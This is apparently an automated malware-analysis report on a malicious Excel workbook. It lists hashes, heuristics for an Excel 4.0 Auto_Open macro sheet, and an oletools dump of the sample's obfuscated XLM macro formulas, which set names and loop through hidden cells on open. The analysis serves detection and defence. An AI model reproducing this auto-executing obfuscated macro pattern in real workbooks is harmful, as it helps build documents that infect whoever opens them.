Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9ce8ca0b80064499…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:55 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: dce41c00bded2bd54929a3f9c54f7fc5 SHA-1: 7358638b5f3fde9d953ce8d6afd225fd5b134b23 SHA-256: 9ce8ca0b800644990aee62710012cf337cfd79ac8008bf4a11fa1ef3695c50a5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6645 bytes
SHA-256: 0beee4825a959cedcc20dc2f27b5d233dce74581482f3a1aab042eebfdfa41f0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  jwhHFc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D169 
' 0018     21 LABEL : Cell Value, String Constant - AynpvH len=0 
' 0018     24 LABEL : Cell Value, String Constant - AzZkQZWZI len=0 
' 0018     23 LABEL : Cell Value, String Constant - bgGAoiPo len=0 
' 0018     20 LABEL : Cell Value, String Constant - cQFDd len=0 
' 0018     25 LABEL : Cell Value, String Constant - ExsfsRcTlz len=0 
' 0018     25 LABEL : Cell Value, String Constant - gvInHJpCUK len=0 
' 0018     24 LABEL : Cell Value, String Constant - hNRLkAHYb len=0 
' 0018     23 LABEL : Cell Value, String Constant - hZcuZoDz len=0 
' 0018     20 LABEL : Cell Value, String Constant - jeOmB len=0 
' 0018     20 LABEL : Cell Value, String Constant - LwTeR len=0 
' 0018     25 LABEL : Cell Value, String Constant - MiufReNgea len=0 
' 0018     20 LABEL : Cell Value, String Constant - rQNFp len=0 
' 0018     21 LABEL : Cell Value, String Constant - SFGdUY len=0 
' 0018     21 LABEL : Cell Value, String Constant - UcnjBl len=0 
' 0018     20 LABEL : Cell Value, String Constant - UeFFR len=0 
' 0018     22 LABEL : Cell Value, String Constant - uEodDxa len=0 
' 0018     24 LABEL : Cell Value, String Constant - USDvKPjYG len=0 
' 0018     27 LABEL : Cell Value, String Constant - xNgiUNldbjOg len=0 
' 0018     23 LABEL : Cell Value, String Constant - XpwxxxCz len=0 
' 0018     26 LABEL : Cell Value, String Constant - zSPdGyxjBDs len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  jwhHFc,T45,"",-399.00000000000000000000
'  jwhHFc,T46,"",685.00000000000000000000
'  jwhHFc,T47,"",88.00000000000000000000
'  jwhHFc,T48,"",679.00000000000000000000
'  jwhHFc,T49,"",-254.00000000000000000000
'  jwhHFc,T50,"",569.00000000000000000000
'  jwhHFc,D61,"SET.NAME("gvInHJpCUK",0+VALUE("0"))",""
'  jwhHFc,D65,"SET.NAME("USDvKPjYG",gvInHJpCUK)",""
'  jwhHFc,D68,"SET.NAME("hZcuZoDz",gvInHJpCUK)",""
'  jwhHFc,D73,"SET.NAME("AzZkQZWZI",COUNTA(zSPdGyxjBDs))",""
'  jwhHFc,D78,"SET.NAME("AynpvH",COUNTA(bgGAoiPo))",""
'  jwhHFc,D83,[],""
'  jwhHFc,D88,"SET.NAME("ExsfsRcTlz","")",""
'  jwhHFc,D93,"USDvKPjYG",""
'  jwhHFc,D98,"SET.NAME("rQNFp",HLOOKUP("*",zSPdGyxjBDs,USDvKPjYG,FALSE))",""
'  jwhHFc,D103,"hNRLkAHYb",""
'  jwhHFc,D108,"SET.NAME("xNgiUNldbjOg",gvInHJpCUK)",""
'  jwhHFc,D112,[],""
'  jwhHFc,D117,"xNgiUNldbjOg",""
'  jwhHFc,D119,"uEodDxa",""
'  jwhHFc,D122,"jeOmB",""
'  jwhHFc,D124,"LwTeR",""
'  jwhHFc,D129,"SET.NAME("cQFDd",VALUE(HLOOKUP("*",bgGAoiPo,LwTeR,FALSE)))",""
'  jwhHFc,D134,"SFGdUY",""
'  jwhHFc,D138,"ExsfsRcTlz",""
'  jwhHFc,D140,"hZcuZoDz",""
'  jwhHFc,D144,NEXT(),""
'  jwhHFc,D147,"XpwxxxCz",""
'  jwhHFc,D152,[],""
'  jwhHFc,D157,"UeFFR",""
'  jwhHFc,D161,NEXT(),""
'  jwhHFc,D164,RETURN(),""
'  jwhHFc,D199,"SET.NAME("MiufReNgea",D61)",""
'  jwhHFc,D202,"zSPdGyxjBDs",""
'  jwhHFc,D207,"SET.NAME("bgGAoiPo",R82C11)",""
'  jwhHFc,D209,"SET.NAME("UeFFR",216)",""
'  jwhHFc,D213,"SET.NAME("UcnjBl",4)",""
'  jwhHFc,D215,MiufReNgea(),""
'  jwhHFc,D216,HALT(),""

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